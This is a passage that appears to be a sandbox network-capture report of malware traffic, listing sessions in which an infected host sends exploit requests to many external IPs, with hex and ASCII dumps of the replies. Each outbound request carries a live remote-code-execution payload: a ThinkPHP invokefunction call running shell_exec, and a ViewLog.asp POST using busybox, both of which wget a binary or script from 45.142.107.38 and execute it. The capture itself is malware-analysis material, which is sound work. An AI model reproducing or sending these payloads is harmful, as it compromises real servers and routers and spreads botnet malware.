2e 70 68 70 3c 2f 74 64 3e 0d 0a 3c 2f 74 72 3e 0d 0a 3c 2f 74 61 62 6c 65 3e 0d 0a 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 62 72 3e Data Ascii: <br><br><center><h2>The request / response that are contrary to the Web firewall security policies have been blocked.</h2><table><tr><td>Detect time</td><td>2024-03-04 23:00:39</td></tr><tr><td>Detect client IP</td><td>154.16.192.203</td></tr><tr><td>Detect URL</td><td>http://112.175.191.106/index.php</td></tr></table></center><br>

Session ID	Source IP	Source Port	Destination IP	Destination Port
711	192.168.2.13	56382	112.133.250.204	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:41.842380047 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:42.268877983 CET	1286	IN	HTTP/1.1 400 Bad Request Date: Mon, 04 Mar 2024 14:08:42 GMT Content-Type: text/html; charset=UTF-8 Server: gvs 1.0 Connection: Close Content-Length: 1555 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 30 20 28 42 61 64 20 52 65 71 75 65 73 74 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 400 (Bad Request)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_1
Mar 4, 2024 15:08:42.268910885 CET	506	IN	Data Raw: 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 Data Ascii: 50x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-bloc

Session ID	Source IP	Source Port	Destination IP	Destination Port
712	192.168.2.13	56388	112.133.250.204	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:42.114839077 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:42.537678003 CET	1286	IN	HTTP/1.1 400 Bad Request Date: Mon, 04 Mar 2024 14:08:42 GMT Content-Type: text/html; charset=UTF-8 Server: gvs 1.0 Connection: Close Content-Length: 1555 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 30 20 28 42 61 64 20 52 65 71 75 65 73 74 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 400 (Bad Request)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_1
Mar 4, 2024 15:08:42.537695885 CET	506	IN	Data Raw: 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 Data Ascii: 50x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-bloc

Session ID	Source IP	Source Port	Destination IP	Destination Port
713	192.168.2.13	42814	112.164.178.215	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:42.135642052 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:42.432527065 CET	151	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>400 Bad Request</H1>Your client has issued a malformed or illegal request.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
714	192.168.2.13	55918	112.74.143.231	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:42.224807024 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:42.605679035 CET	319	IN	HTTP/1.1 400 Bad Request Date: Mon, 04 Mar 2024 14:08:42 GMT Content-Type: text/html Content-Length: 166 Connection: close Via: HTTP/1.1 SLB.222 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
715	192.168.2.13	41916	94.122.116.1	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:42.713907957 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
716	192.168.2.13	37950	95.100.128.4	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:42.760890007 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:42.966285944 CET	479	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 257 Expires: Mon, 04 Mar 2024 14:08:42 GMT Date: Mon, 04 Mar 2024 14:08:42 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 64 65 33 30 37 62 35 63 26 23 34 36 3b 31 37 30 39 35 36 31 33 32 32 26 23 34 36 3b 33 31 35 36 30 33 37 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.de307b5c.1709561322.3156037</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
717	192.168.2.13	36372	62.29.62.47	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:42.886219978 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
718	192.168.2.13	53506	31.200.82.95	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:42.895649910 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
719	192.168.2.13	35430	31.136.237.187	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:43.067825079 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:43.638884068 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:44.758816957 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:46.966912031 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:51.574928045 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:09:00.535140038 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
720	192.168.2.13	55944	112.74.143.231	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:43.355432987 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:45.334868908 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
